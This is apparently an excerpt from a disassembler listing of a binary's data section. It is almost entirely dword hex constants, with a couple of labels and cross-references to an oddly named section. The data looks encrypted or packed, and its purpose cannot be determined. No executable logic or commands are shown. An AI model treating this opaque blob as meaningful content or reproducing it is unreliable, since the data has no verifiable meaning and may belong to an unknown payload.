		dd 3F7CB7DAh, 0C8C07E3Dh, 3B461127h, 4BFBD623h,	0D80BFCC4h
		dd 1C88AFBAh, 3E0DF877h, 9D445A3Ch, 19E41AE9h, 27E39099h
		dd 3583F4C3h, 0B4D4077Dh, 0D55D720Fh, 0C3E2620h, 0DEB1870Ch
		dd 6D54177Ah, 0D08654A8h, 2493CE1Eh, 2408CD68h,	19D5DB5Fh
		dd 9A624D53h, 0E2FC5908h, 8A07B37Eh, 20112C76h,	0CDDF7659h
		dd 3DF6C29Bh, 55483420h, 0EE8DCB39h, 0DD3FF317h, 998AB25h
		dd 0BA90543Fh, 0EA065B4Dh, 0EB93D89Fh, 7D9DE565h, 0CB2CC3F0h
		dd 0B9F3E3F1h, 5BA4AE97h, 0A8A1AA55h, 0AE43320Eh, 0AA332BA1h
		dd 0AF3B70AEh, 4E6123A9h, 0EDAF5DA6h, 381681FCh, 0A73972E9h
		dd 7343F8B5h, 44B1524Eh, 6C3F0D0Eh, 5DDADAAEh, 0AF8013E3h
		dd 7C104137h, 9D6C571Bh, 0F3BDCB34h, 37D60F7Eh,	0B06BF5AFh
		dd 66D42EABh, 2DB71595h, 0E0C80B6Fh, 0D02D03C7h, 5DD0FF5Ch
		dd 0BB179358h, 0DB90053Bh, 10BB5D96h, 273BAEB6h, 0CB7E07B5h
		dd 5247B883h, 6E341807h, 0B3D3ED8h, 6797B2BCh, 0DDE52EC3h
		dd 0CB672D38h, 9AC5DF87h, 6BE819B6h, 0EBE914B4h, 303ED6FBh
		dd 0DE49B443h, 93432A04h, 0CF9F3D69h, 2BFAAEBFh, 0CB545059h
		dd 45716511h, 871DF7B3h, 0BA914080h, 0DABFCB28h, 0F37BCD3Bh
		dd 8B67CB82h, 0C926612Dh, 2B56DFA6h, 9150B064h,	0F32D89C4h
		dd 0A760053Eh, 0ED05C4C7h, 4BAAB4D4h, 1B6C7571h, 0B85FAE37h
		dd 0D277E7CFh, 73DEC77Eh, 137A64A1h, 0B8E6EB2Dh, 6AC1B96Bh
		dd 1EA74317h, 0F0557EBBh, 1F2DAA34h, 1549F2E6h,	2FEE987h
		dd 2C960315h, 75B57C5Ah, 0BD39D2BBh, 9CF743FAh,	0F634C13Ah
		dd 6E2F0172h, 276CFD81h, 0FC670BF6h, 41836B0h, 0F3A9738Eh
		dd 0A6B91FEEh, 0A43AE75Eh, 46BAF2E7h, 0D9F4DBD5h, 77FBAAB7h
		dd 5643D781h, 0C38BD1D5h, 4F426EA5h, 0BF267755h, 0AF5C8C6Eh
		dd 0F0712FE8h, 5544A9FAh, 0ACB4FC4Dh, 0A6E2DBD4h, 0C4BE3E59h
		dd 6760773h, 3AB3C9D7h,	0F3A72498h, 0F0D47FB7h,	0AEB168F5h
		dd 0B3F1886Eh, 29275A32h
		dd 0BD7F3718h, 8A25338Eh, 8A7C970Fh, 1BB86ED4h,	6A696681h
		dd 701DDAB5h, 56907173h, 175689F5h, 543514A1h, 0D740034Fh
		dd 0C75D4296h, 0F3A69A70h, 6BA605EFh, 0DF3902C8h, 534E7E74h
		dd 0F2C4625Bh, 5E21E2ADh, 0AC29BC63h, 5E0BF81Ah, 795D75C7h
		dd 3CF1DB05h, 0B69681C5h, 0A3A05406h, 0D1DEF5D6h, 0AB84824Dh
		dd 99DFBABCh, 13B0BA1Dh, 0DEB019B1h, 0DC4BA419h, 0CEBC2EF2h
		dd 716A5B0Eh, 66E5DF71h, 3FC3B444h, 0EEE00FC1h,	8B0D393Dh
		dd 0FC67AD3h, 0E0700A75h, 0F6B1E83Eh, 0A497AF98h, 0A047499Ah
		dd 0BB9238F5h, 8A61BD9h, 0AB28B5DDh, 58C294BBh,	5A44A549h
		dd 39F8E9D0h, 6B6D8414h, 0B0AB462h, 0F1CDA2D8h,	4791B529h
		dd 64E5F215h, 0D018B26Ch, 85DDF706h, 15DC617Dh,	9C7283E0h
		dd 39B2F152h, 3F3D9456h, 0C75CF46Eh, 55A1FC13h,	681C4E47h
		dd 0E4749818h, 4FF947D3h, 0FE504FA9h, 0C4D91764h, 3443FC56h
		dd 186D1574h, 3C4A30E7h, 3AFD1ABFh, 0AADE830h, 0B03EBF6Dh
		dd 0FEEC635Fh, 2B920E49h, 0B3658177h, 0AA7B8094h, 73F9C1E6h
		dd 9345DFFh, 3A2E409Fh,	0B2C0F3A5h, 0C0766ADFh,	0E07C48D7h
		dd 0EC1B9851h, 0BB72B99Fh, 0D21C6Ch, 827BB575h,	0AC0FD1BDh
		dd 91F83255h, 3C278B45h, 0BBFD6C38h, 34C86E7Bh,	0E44F5E41h
		dd 9289D1AEh, 0DF68DE06h, 2C075BABh, 0EAD470DFh, 0E3C7B70h
		dd 0FD90EF8Eh, 0DB721F73h, 0DE37C59Dh, 0F3D6A6D8h, 1060A950h
		dd 0C744FE18h, 275DE8BFh, 94082BE5h, 0F624BC42h, 7F722068h
		dd 0EECD2660h, 2318D669h, 0DC66F691h, 98B8A756h, 48B6C32Ch
		dd 0FED12AFEh, 0E0FA02A8h, 6C5389FDh, 8931A20Dh, 23BDB7F4h
		dd 35E17E46h, 50D549DDh, 0D120F781h, 7F3ACFAAh,	0CF7CDC77h
		dd 0F292D8CAh, 733EA8CFh, 0A7AFB3A1h, 0F039D129h, 5DCBDA36h
		dd 84C47CF5h, 70A64450h, 494824h, 0CC55F223h, 9816D784h
		dd 423282AFh, 44EC1B8Bh, 1732F770h, 542BC1B5h, 4B3BFF6Bh
		dd 0C63A3EB1h, 0ED2AF541h, 0B6CA8D1Ch, 7573F962h, 55EBD498h
		dd 1DAA82DAh, 0D3AC781Fh, 7CA5E5EFh, 0F876C04Ch, 4BE87304h
		dd 0C774596Ch, 0BE05BC44h, 4BAFE042h, 0AA971688h, 6A6795A9h
		dd 0EDF934D2h, 85A9C02Bh, 82FF1C72h, 8BEE74F1h,	685F7F7Eh
		dd 9B8874E3h, 0E8791862h, 0FE061B90h, 5A618E3Ah, 0A8C12635h
		dd 0E04C8D7Ah, 0D519DB29h, 0B8CBBF6Ah, 383008C0h, 3CAD59F2h
		dd 0AC7A427Eh, 1160403Bh, 0F491A488h, 2E511C50h, 1A997AF6h
		dd 4AAF30A6h, 0CB90D2B3h, 37D25EC1h, 357EE45Ah,	920B7865h
		dd 0BFBA4038h, 0E64D1D14h, 67CF8FD7h, 193FF83Ch, 600B2B71h
		dd 0F1E5F7DBh, 0F681CBCBh, 2809578Ch, 8A28DBFDh
		db 0B2h, 4Fh
word_77656E	dw 0AE96h		; DATA XREF: .data:off_42D708o
		dd 6C3F46BBh, 348A10FDh, 74815689h, 0E8AFF93Eh,	6B9035DCh
		dd 6EA470EFh, 82EEE112h, 960A6F84h, 4F0F79B5h, 1D2902B4h
		dd 0D19B07C7h, 0E0BBE837h, 0AAF8FDB8h, 0EF6287F9h, 1D37928Ah
		dd 665C22EAh, 68D7ABCAh, 6E9BF919h, 5404E939h, 0A75C39A6h
		dd 0AE07B210h, 0B842734Fh, 0B7678D48h, 0DE7F3358h, 5EFC5B09h
		dd 0DBC91E71h, 76365CCh, 0E783890Dh, 0C6FED897h, 375E682h
		dd 27F1012Bh, 0A115B3CEh, 0F7D974FAh, 6A950C1Dh, 45390677h
		dd 410901C6h, 34D55D9h,	5A3A5EEAh, 35CDB39Ah, 655F563Ah
		dd 2FF8B0EFh, 2796FD8Ch, 0E983DA41h, 0F4A1510Ah, 6F0BB476h
		dd 0E0A3AF7Ch, 38559249h, 29D8F0F3h, 0FEFA671Bh, 9CB587E1h
		dd 119BC6CCh, 226E01E2h, 6B1AACE9h, 75B1F4ACh, 25F8A359h
		dd 7D6D7075h, 6EDF106Ah, 7F6EDD33h, 98DE6836h, 7ADAB63Dh
		dd 9A2D014Fh, 0E00A942Ah, 2B55D5DBh, 6B5AD8A1h,	5E53B4EFh
		dd 23690B5Ah, 5362025Eh, 3250CABCh, 0F98830CCh,	0A701B24Ah
		dd 0AD68A347h, 737ABD1Ah, 0AC8FAEE3h, 23C3657Bh, 94393A72h
		dd 0AD3CD6EAh, 2C5E9F5Ah, 254F8B9Ah, 0D1158427h, 21399492h
		dd 299A7DBh, 0C5BA7D4Eh, 5F76A658h, 8EA6FF5Ch, 60F5BAFCh
		dd 9AEAE32Fh, 15CBE1D7h, 0A9797096h, 899C662Eh,	0AFD26976h
		dd 45B537C4h, 0CD1DD41Ah, 93F7F584h, 0BDC3C6B8h, 2E525DAAh
		dd 0E6A8F0D0h, 1FF59B2Dh, 80C50E27h, 3BB1C4CEh,	9A69760Bh
		dd 9F9862C8h, 69A53B5h,	75504C57h, 59F79993h, 60EB82BEh
		dd 0E0623087h, 7E9F9133h, 37EAA8BFh, 0FEE480B5h, 3A535BEh
		dd 0BD9EFA2h, 0E2DBFA0Dh, 9573393Eh, 88DFF1C7h,	85C9172Ch
		dd 0C3F62B7Bh, 98CAADFEh, 0B861F455h, 0FC52BC0Fh, 30557AC8h
		dd 0D57C24F7h, 448EE5F5h, 0AD351EEBh, 33550D62h, 4DE64D5Fh
		dd 0A843EA83h, 9B46E7B8h, 0B43A7659h, 0CCC6479Eh, 4E55670Ah
		dd 5BC495ABh, 96E04EB1h, 2BADC570h, 0CBDF54C9h,	1DEAD790h
		dd 0DB530C96h, 0EA72EAD1h, 0C6769D97h, 85A9291Bh, 0F1030653h
		dd 9F62994Fh, 0FC5C591Ch, 6FCC78C5h, 0FCEFEB76h, 0AAD90617h
		dd 9175F5E0h, 0EC2024C5h, 59C0F9BAh, 81E45182h,	764A9BC3h
		dd 0D6F35661h, 0CD4EC048h, 0D9BCEB0h, 3F098529h, 0AAD228CCh
		dd 31A24C98h, 96FB0CFFh, 0A663EB82h, 6B2E0ADCh,	0F479E288h
		dd 0A1AFEA2Ch, 0A586589Ah, 2A57A784h, 83A372F0h, 0EF4695BFh
		dd 0FBB50301h, 81B12313h, 195770AAh, 0C95A4877h, 0D63616D3h
		dd 0D83B0DEEh, 8B4D6603h, 257FA607h, 0B9CEEC7Ah, 83C4B96Fh
		dd 0FBF9B3DFh, 74E2CAB3h, 0CEBCC683h, 2DAA0502h, 21DFC6D8h
		dd 0CE3596ADh, 0FEFE9CC2h, 4EFD605Dh, 0D2519413h, 146E8BF1h
		dd 7B24DDADh, 0EEC9DBFEh, 0D985BB03h, 9D05663h,	0A983F4D9h
		dd 9B5C6B97h, 0A907F9D0h, 0A5570353h, 3DA7C72Ah, 6BA67C11h
		dd 65290B4h, 0E7E51757h, 2050D981h, 8BB8CAECh, 5C62FC4Eh
		dd 193E35F1h, 1F8AFB0Eh, 0DBE99DFEh, 2EA924FEh,	0ADCB6ACCh
		dd 0C514EECFh, 0A3053711h, 0C3F16853h, 1AB6E4BBh, 30A77B58h
		dd 29809B43h, 0C48271D7h, 0DF91856h, 5C18BDA2h,	5DD4CCB1h
		dd 6D286A5Ch, 0FE6C745Bh, 0CEE143B1h, 8F0076F8h, 689DF8FEh
		dd 0AD1D72C9h, 66B55081h, 0EA866CC3h, 54A7EC8h,	395B0E39h
		dd 0C7A22AC2h, 0F3B7B921h, 87E9FE1Dh, 7CDA3372h, 0F50ED025h
		dd 9A2BF5D0h, 0DA492BE2h, 4B12E520h, 0C062F37Dh, 0C96F2942h
		dd 0CBAE94CCh, 0E33C9E57h, 62088D65h, 0F2BA861Eh, 0F28D399Bh
		dd 3DA19A48h, 0F265B7F1h, 96FE3FE7h, 7965AF09h,	0AFE682EFh
		dd 0CCC69B36h, 649F3E02h, 1F7EDCDDh, 0D5483404h, 575285A3h
		dd 987FA96Bh, 522F9605h, 60BAC5AAh, 0CBF7CFDCh,	0ABD57DAAh
		dd 0C1EFBF46h, 23906C5Fh, 0AB2ED2D1h, 0D657C52Ah, 95B42455h
		dd 742A45CEh, 0C3033A05h, 6D7769DEh, 7E36CE9Fh,	0BC4A14E8h
		dd 0F97FD2E9h, 7ED6FBC7h, 0D8CB7C8Dh, 65F85FD7h, 368A64BFh
		dd 25757C6Ah, 71A72EB5h, 0B026ABB6h, 1895CA97h,	0E9CB60B0h
		dd 0A9D65252h, 2A215AE6h, 0FEB397E5h, 0F81701C0h, 81E9FD9Ah
		dd 2BF064FFh, 7CAA8B1h,	0ED104C4Ah, 0FB3DA954h,	71B45D64h
		dd 0F5E45B5Fh, 44B4292Fh, 0DB4734CFh, 8202ED8h,	380B51FEh
		dd 0BAAE7D95h, 0B40B759h, 0B9E7EE2Eh, 0B07554C8h, 0A8AAD5D8h
		dd 0A72D45E4h, 0B8356CB6h, 0DB0123FEh, 5B8D779Dh, 0A28ABF74h
		dd 1FBBC9D7h, 8AA8A57Ah, 0D7735E00h, 0BEF06475h, 6651D1BBh
		dd 0C2F2CD2h, 195FB577h, 0FB1721E2h, 465DCBABh,	334D5550h
		dd 29D9C7EEh, 0F8831D10h, 2F0CD9E1h, 87D3FA86h,	0BA17AB9Ah
		dd 0F7B1D7FBh, 0DC47F349h, 222EEC8Ah, 3387F507h, 0EFB40D43h
		dd 1D7C85A5h, 433AABFDh, 60F73A38h, 0B96AA558h,	0F5CDDF6Dh
		dd 0EBD2F8C0h, 0DD5DF07Ch, 0E23B169Fh, 5EB37BDAh, 0AAB3F9A9h
		dd 72CEE201h, 0BAF3ABACh, 0E309BF7h, 0E7ABC374h, 3D73E7Dh
		dd 3835F11Bh, 33F95E21h, 0B86E38F4h, 0DEBB3375h, 74BEEEC5h
		dd 0FA3EE11h, 9CBBD2FCh, 3E3BFA7Eh, 40C92A6h, 0EF6852ABh
		dd 0EE3B0A68h, 5484A00Ah, 2E5FA956h, 0A84838F6h, 46E25620h
		dd 8EC7DAADh, 4F3CC14Ah, 7E0EDFF3h, 5DD313D8h, 626A0B13h
		dd 3CC910FCh, 67D3A514h, 3753CFDAh, 85C989ABh, 83FDDA73h
		dd 6855686Eh, 331FFADAh, 0D60273A2h, 2FDD696h, 0E32E8C9Dh
		dd 824A79F6h, 60E5D6C5h, 0C7DB3D6h, 0ED863C1Fh,	2FEFA94Bh
		dd 0F5B3B7EDh, 4C36DB40h, 14DD850Ah, 7D654DC2h,	96A84A62h
		dd 0F31CF3C2h, 539D1643h, 0C2C2BDA3h, 0F7A23A3Eh, 0B4CEAF8Ch
		dd 7BB82FA8h, 5B9F1D41h, 4D2964E9h, 46B1F738h, 997C562Ah
		dd 0E1EDF9E3h, 9CE8244Ah, 0BB0964E3h, 17C6F234h, 0D561B8D8h
		dd 0DE545275h, 6D8F4895h, 0B5CC7B6Ch, 1AF2719Eh, 1CD797CCh
		dd 75A6EBE2h, 68EAA421h, 0FED1D2ADh, 0FC6B6639h, 0BEC1B1F3h
		dd 7C38EABCh, 79F61B97h, 5B59AD13h, 5E7C3ECBh, 99C92CE1h
		dd 7D17F185h, 0FDB60705h, 0B2BE83B5h, 0FB89EACEh, 0DB197EF6h
		dd 0C2501F23h, 0F1565C74h, 8FF9BE1Dh, 774D3949h, 0DDE84FF9h
		dd 4F417EC0h, 89738FC0h, 0DC7EEB56h, 0BA77F8BEh, 7DB0BC4Fh
		dd 8CB5F87Bh, 0D62F5790h, 79B62F55h, 0FF8BE0ECh, 96AD7C22h
		dd 7350245Fh, 0BDA1854Dh, 7186FC6Bh, 0C9C992A7h, 61F5E137h
		dd 0E729B3DFh, 602B5CE6h, 5ED3E8F3h, 4B4C7DA8h,	0A6AAA7F5h
		dd 0DDE55555h, 2D339702h, 518AC08h, 0A292CDA1h,	5324E42Ch
		dd 76A72D99h, 761FF211h, 5A9F699Ch, 0F65484CEh,	0D55D7252h
		dd 66F07073h, 0DE3D0D81h, 0E944D70Eh, 3E258BA1h, 0ABA7DAAFh
		dd 8EF0A26Ch, 7000624Ch, 0A440E124h, 9D0D4012h,	0A75C8A04h
		dd 69D04E80h, 0AA74D3A1h, 269D94E8h, 0CBA7413Ah, 0A149124Eh
		dd 0E81B45D3h, 2EFDD044h, 0FC53B046h, 1B3EE8B3h, 37CA6D6Dh
		dd 0E7C4E350h, 813A73C1h, 0A9A8C087h, 6149CCAEh, 7F0ED4ACh
		dd 0C94F2FB1h, 6C4618C7h, 0DB6C024Fh, 0ABA2CBECh, 0A56AE80Dh
		dd 0FE0BBCEBh, 0C685817Ah, 1C0B1859h, 82B4D714h, 235D5F5Fh
		dd 0F77CFAA1h, 0A68DE901h, 0D3B6A521h, 0B834817Ch, 97AC02BFh
		dd 454ECD54h, 8F56D7BBh, 3005DD12h, 0F2FF565Dh,	2BC3B3D4h
		dd 0DE3F1AEEh, 54918605h, 534461F1h, 8D9EDDE9h,	3D9D3DF2h
		dd 0B0BF4C0Ch, 0B4A92924h, 6E07CEF1h, 709CDA65h, 88DB56EAh
		dd 237B69EBh, 1F6CFA88h, 0C9B8B3FCh, 1BED7D7Dh,	0CF730D79h
		dd 0E1C6C44Bh, 7EEE3703h, 0B537F9B8h, 0E76D078Fh, 0EB140FF1h
		dd 0ACEE14B2h, 0E7E0348Fh
		dd 5E0CD8A3h, 3764D715h, 54870831h, 0DAA55BBFh,	31FCE3F3h
		dd 7B9D38E0h, 0B91AF517h, 99FACA3Eh, 79F299B9h,	2CB0C5D9h
		dd 0C950A9DAh, 77CFAC64h, 5CFBB2EFh, 3F221DE9h,	0EAFD44B0h
		dd 0A88A7ACCh, 77783D6Ch, 22C7A92Ah, 0ADD5BBADh, 0D45B8712h
		dd 6DF1FC38h, 69B1CCAFh, 0F76D77Bh, 9B2A1D6Ch, 0F86E6996h
		dd 0AE2E7D5Eh, 0E17D34C0h, 98452FF6h, 1D7C63C2h, 71737446h
		dd 0E7DD4CB0h, 0DDF2ABCh, 24FCDF7h, 86DD35B3h, 3E0212ABh
		dd 7DC1F7C9h, 0F470A9E8h, 86F3BC88h, 0B653E1Fh,	45CC0448h
		dd 34F9FD27h, 0C2F2D7E6h, 0ED4A24E8h, 0B5E9F37Ah, 8348E7A9h
		dd 0EE5642D7h, 5196FA3h, 5189996Bh, 987EA5B1h, 7618A67Ch
		dd 9A363763h, 2CB8CE0Fh, 0C55797F7h, 0DC43E97h,	0BEEBB20Fh
		dd 3AC5EFDEh, 700B8AB7h, 1D7B98B4h, 5678F9B6h, 0FE63C2B9h
		dd 92DD7DCBh, 0A49F1CECh, 4B4AE833h, 2DB9643Ah,	545F029Fh
		dd 312F5D43h, 38EFB61h,	3EBEB582h, 7E32DA94h, 76992C6Fh
		dd 0EA16A109h, 0BC5EDF7Ah, 67B6956Ch, 8DAEDAFEh, 0F8B33E16h
		dd 9B20B8FDh, 0AE73AEE5h, 5E63A3Dh, 0F8015A95h,	2AACC477h
		dd 798B4A3Ch, 0AD0CA649h, 47A6EE5Fh, 57C4BECBh,	98680498h
		dd 46D34C39h, 0B1C78EADh, 0D6D783DEh, 942C15FBh, 450BC9F3h
		dd 4B3C5899h, 4D8CAEBDh, 0EE4172D8h, 0EEFEF861h, 47AC11E5h
		dd 5737AA91h, 0D99FA079h, 0ECD8A2BEh, 0F4FABF32h, 214D9877h
		dd 0C9924F3Dh, 0BAB631B1h, 7AA8B0D5h, 0E5CEA826h, 9DE7A80Bh
		dd 0B6E5CF4Fh, 1FFC3EEBh, 7C9F93BEh, 5E3BEE2Ah,	36259B52h
		dd 405EE2Ch, 0D8E7BA1Fh, 309CDA20h, 4EFABDF7h, 0D9C1C6C5h
		dd 0A68A9A48h, 7E43B758h, 399F2132h, 467BF275h,	818A88Fh
		dd 2D14F3BEh, 88DFC7E5h, 0A2117C32h, 0D55D1C9Dh, 0C7AF7597h
		dd 0BF24CA2h, 0FDE591D5h, 8A61A69Bh
dword_776F70	dd 430B5CBFh, 928E45F9h, 3572F0B4h, 5CBD1FECh, 83C89ADCh
					; DATA XREF: zugr1819:0041F79Co
		dd 0BE976D5Bh, 785F5CC8h, 2F1873BFh, 4075CC63h,	0D55C2A69h
		dd 462C9177h, 76AB009Fh, 64BCB54Bh, 0FD52E2E5h,	9856BEE9h
		dd 0BFE028ABh, 0C090AB18h, 37EE6228h, 7C031C3Ah, 7DB932Bh
		dd 0DFDA4957h, 0BEC41614h, 1D8EC3D8h, 96584CF6h, 114638AAh
		dd 95CCEBB7h, 0A076BA5Eh, 0FABA3AE3h, 703FAFD9h, 4A5FFF61h
		dd 88AF7D0Eh, 356DCA8h,	0BD59AAF1h, 1737A8BDh, 3BA55F3Fh
		dd 0D94B7D23h, 73184846h, 4FC65DE3h, 59CA05F4h,	0EFA90787h
		dd 0FA1854B8h, 3781968Ah, 0FDDC290Ch, 4A4E2C5h,	56370F3Fh
		dd 4A015BEEh, 0BC74C3A2h, 671E479Dh, 56E58D06h,	9895EC5Dh
		dd 69B2802Bh, 0CFBA9E4h, 0DADCB1C1h, 367B736Fh,	7DF2C97Eh
		dd 8B004963h, 31ACB1B9h, 89E5D282h, 0B9C65218h,	0D90B971Ch
		dd 6D1F6F6Dh, 1A8EA3EBh, 97DCBA6Dh, 1CE70FB4h, 75F20D28h
		dd 13F8C4E6h, 7AE8E52Dh, 4D2EFE72h, 5A28AB57h, 0D6DEFD98h
		dd 0A4355D8Fh, 559BB4BEh, 1AD5A4F0h, 60615CE5h,	7DDDD133h
		dd 9F9836D4h, 0F2EB6FEBh, 3FA98D97h, 0E9F42709h, 202FA236h
		dd 45707620h, 5050E332h, 6F55EDB5h, 9DC491AEh, 0AF2249F2h
		dd 0C9AB374Dh, 688AB405h, 0F74CF3Ch, 2A7F5806h,	0C79120D9h
		dd 0FAD7B7EFh, 0DF93F37Ah, 0F9AC8C65h, 4C25C774h, 0A141EBBAh
		dd 70F4D2D6h, 810FA95Fh, 0E0F28B41h, 43FA8FB0h,	0FFD9A3A0h
		dd 0AB8C96C2h, 902C9A82h, 38FDA9CEh, 491C4042h,	0C1FD7C83h
		dd 0ECEF3F06h, 225B42B6h, 0A3EBDD09h, 0C0568A4Dh, 0BA88B735h
		dd 7330AA2Ch, 0CE2D8741h, 0B1ED051Ch, 36B5C4DAh, 4AAA7ADDh
		dd 8B7436F6h, 2296F9A2h, 0A702D17Ah, 3A51A7D6h,	0FAD291A8h
		dd 412BE95Ch, 1B87F453h, 0EF6C8AEEh, 2A34FFBEh,	0E40C8817h
		dd 5E1FA9DFh, 39B0365Ch, 80205829h, 0EAF02FDDh,	2B9A613Ch
		dd 249388DAh, 0A471257Fh, 0D4CC90DEh, 7F07DDC9h, 37B5E9E2h
		dd 41F0F105h, 7C31EE8Eh, 9FAB2A9Ah, 0FFCC6A52h,	0AF0B1D4Eh
		dd 0EA3F0358h, 4D1C1305h, 0DD3DF75Ah, 0C0B8BDEDh, 4D22EBC6h
		dd 5EC3084Ch, 14807FBCh, 0B94798AEh, 0A0AE0BFFh, 4AB0C49Ah
		dd 0A423A11Eh, 52A1968Fh, 771C69A1h, 858208D5h,	36C53358h
		dd 958D223h, 0ACB6BFA9h, 9018E32Bh, 2EAD9FE8h, 8DB6EF61h
		dd 0A56E5696h, 33AF495Ch, 5AC48B86h, 40DD0B5Dh,	31F6D4E0h
		dd 302521DCh, 0CBEEEFD3h, 6C5F49Dh, 6A1F8CBFh, 0E8C512EAh
		dd 0FD2DE5F6h, 0A40281ABh, 561F574Ch, 0AE20EC47h, 954A82FAh
		dd 0BE260A36h, 0C10C09BDh, 4A4404AFh, 3D6FD884h, 11A78A6Ah
		dd 3972FD4Dh, 0C4C07009h, 938F54C8h, 1856149h, 5E90BE8h
		dd 0D2E3C393h, 0ADC0A11Ch, 0B826B383h, 0A912B451h, 3C6EA3CBh
		dd 5D177B2Ah, 0B57B5A13h, 0F0FCC3EAh, 636564E4h, 0D9EF3650h
		dd 25917D57h, 86B40146h, 3F6B7DEEh, 3C6CD870h, 31C584F3h
		dd 0B83ABC1Eh, 0A285F375h, 155B3FF5h, 5260B05Dh, 0DA362959h
		dd 2BEBE41Eh, 95DB29E7h, 30DB14Dh, 0FCC39C6Eh, 0EF3F72DCh
		dd 3E9A48E3h, 690176E7h, 0CB5D295Ah, 5764F6FFh,	52345AAAh
		dd 105B2477h, 0A9EB0ABh, 4FA6F8F0h, 0D83BF025h,	0FB59DF2h
		dd 911FF06Eh, 0B8556784h, 0D672B473h, 6FCD7A28h, 87597A38h
		dd 0AEC5CCBFh, 562DC197h, 0D2FB151Fh, 0BFCF9F39h, 96706CB2h
		dd 0E8BAE95Fh, 1711C06Bh, 491665A4h, 9D186475h,	0BF92FED0h
		dd 0F32D1B72h, 7E62A8BBh, 941DF6A0h, 0F0420A76h, 338E321Fh
		dd 8D4170E1h, 8EA4A860h, 51B78E6h, 5623DE2h, 65BC4654h
		dd 0E2AA9BF0h, 9ED24554h, 5E027689h, 6964B5BEh,	76792EC5h
		dd 0FFBFD0BCh, 858F9E2h, 8EA53FABh, 0FA705EABh,	0F8FEEDF2h
		dd 0E8F3DA98h, 0BA5724F2h, 0A6B15617h, 0E7605EF0h, 7E21A4E6h
		dd 7F9FA996h, 5466FF76h, 5656C6F4h, 0B674919Eh,	6294FEA3h
		dd 7EF3BEDh, 0A9B0F816h, 32A5A523h, 0A3E243F1h,	8FD3EAF3h
		dd 1D4CAF82h, 0BA211E24h, 9560244Ah, 834E1A9Eh,	27FDBDA2h
		dd 58077229h, 45B8F95Fh, 17F86497h, 6996AC4Ch, 5B8DB652h
		dd 173F6262h, 6E365DA3h, 4AD909BEh, 38BB17FDh, 4557085Eh
		dd 0DE579F9Bh, 0FDC69779h, 405FF03Eh, 761547F1h, 16D10D05h
		dd 44736C45h, 0C79A1FE1h, 0AA210EDEh, 4B31FB93h, 365FC9FFh
		dd 2606C853h, 86FBCD0Eh, 0FD8CFE89h, 0DD4C082Ah, 85FBB77h
		dd 99D3FC72h, 0F97BE72Bh, 0E2502025h, 5DE77A3Ch, 0BAB31419h
		dd 0BDC7DFA4h, 3D0725Dh, 96FCA1F8h, 0AB749153h,	0DD65732Bh
		dd 8DCE9FEEh, 93977850h, 0BEF8175Ah, 0C703F8E1h, 0F578385Fh
		dd 1646FAA2h, 111B0E89h, 0A4A9A022h, 69A2D6BFh,	54B3BCD1h
		dd 0FDB7FBC7h, 0FA1845C6h, 4B35DA51h, 0BBCB1F95h, 0DB2095DCh
		dd 1A40D69Ah, 0EEE728EFh, 8E13BBD3h, 6B45771Fh,	0D3C4B15h
		dd 0EEDC9619h, 0E6C508B7h, 7C093F0Fh, 0EAE8B970h, 5F9AC42Dh
		dd 4C051D72h, 0FB44ECE6h, 0C79B6598h, 88A9ADF7h, 1FF6FDDFh
		dd 0DA8CD077h, 9FEEAC4Dh, 8362E7B7h, 39B5BF62h,	0BEE6C2FBh
		dd 0C8DAB32Eh, 0E0BE5362h, 839B3116h, 3F982510h, 0DFDDD4C6h
		dd 0BCEC5DFDh, 0F563B7Fh, 8F67D99Ch, 0C163DDA4h, 2D1B0632h
		dd 4BF2F2CBh, 0C9DDD948h, 2348B82Ah, 1F44B4C8h,	25BA7758h
		dd 7AA483F7h, 0B2BE17E4h, 0AC1CF68Dh, 0A280C3E1h, 103F671Ch
		dd 0FC276A4Dh, 0C6E1206Fh, 0F7A76B3Fh, 0EA95D5BEh, 5F9E7CFBh
		dd 27E842D1h, 457089DCh, 0E5BDA9CCh, 0F1243CAAh, 0CD89BD06h
		dd 3A67DA6Eh, 0C4E5DFABh, 0E87ED275h, 9B6E3E38h, 2D313279h
		dd 46F8CBBDh, 0F0DFE7AAh, 0EF6BC103h, 77AC099Ah, 0AD890DF7h
		dd 3789497Ah, 0A37D14DFh, 2C5BD6B8h, 0AA4FBD15h, 0D1FECEF2h
		dd 270AA55Eh, 0DEAC96D2h, 8A2CB325h, 3E28BF80h,	9AEA8652h
		dd 5F139C6Dh, 842DD5FDh, 0E3B19746h, 24CE0687h,	71EA9911h
		dd 70D518C1h, 0C04C045Dh, 0DA1A307Ch, 4953DD7Ch, 4258FAD4h
		dd 0D3CA780Bh, 1D85A1A2h, 7C0EC732h, 12974697h,	54DE6275h
		dd 7D53D4Ch, 5C21E687h,	12C5075Ch, 0DC1DDE4Dh, 57AD99B1h
		dd 0ADAB5764h, 495FF1A1h, 87E256CAh, 9034F3DCh,	45363D35h
		dd 5106BE2Ah, 0A1F767C1h, 560DA86h, 0A9316A78h,	4769F6F6h
		dd 3ABB9F04h, 8D169AD1h, 0B55D2E89h, 51C51D8h, 8D47EF18h
		dd 8CF508E2h, 584A2E5Dh, 2221AB73h, 73870928h, 43BB2BEDh
		dd 265EB8D4h, 0F2BBCB89h, 8CA4C1CDh, 55995532h,	6E10AEFFh
		dd 664683AFh, 8A01AF6Fh, 0EE0A897Ah, 0D0224D9Fh, 544FBEC7h
		dd 4B2D291Ah, 5A0E47E0h, 620DE501h, 1B17094Eh, 4056636Dh
		dd 55604657h, 89EEDD11h, 4EA0F602h, 72282544h, 0DC1A2345h
		dd 7810A45Fh, 0A9E3122Fh, 0B7FD3BB2h, 0ECA5BDF6h, 0A07CE8Ah
		dd 154751AAh, 0EA9C0AC3h, 36A338B1h, 5853D9DAh,	0BD50CCA9h
		dd 0D328E18Bh, 0D1D878ADh, 2ED9FC6Eh, 8F84ACACh, 21D51B24h
		dd 851A150Eh, 4EC612BCh, 2033E7FBh, 0FBD4D673h,	5BBE4A3Eh
		dd 20D4E9F2h, 2FABB62Eh, 50E11DC6h, 581A81EDh, 0ED9D20Dh
		dd 3BBCDABAh, 0B5BDA772h, 0F37E853Ah, 58EE891h,	62D077D5h
		dd 0B359B5EBh, 0EA8E97FBh, 31717789h, 0A265C825h, 1DB8485Dh
		dd 0A1CC8351h, 0C2E165DDh, 0B46C154Fh, 87B3B199h, 33753AD9h
		dd 0F6BCA2DFh, 695D498Dh, 1DB2AE99h, 3D60138Fh,	374418E9h
		dd 0E1E2FBDCh, 8A1B1322h, 0CB9856F5h, 0D729D20Ah, 0E74A2D10h
		dd 0A7EBEC4Eh, 37BEEC12h, 918DCC0Ah, 6C248BEEh,	4699FDBAh
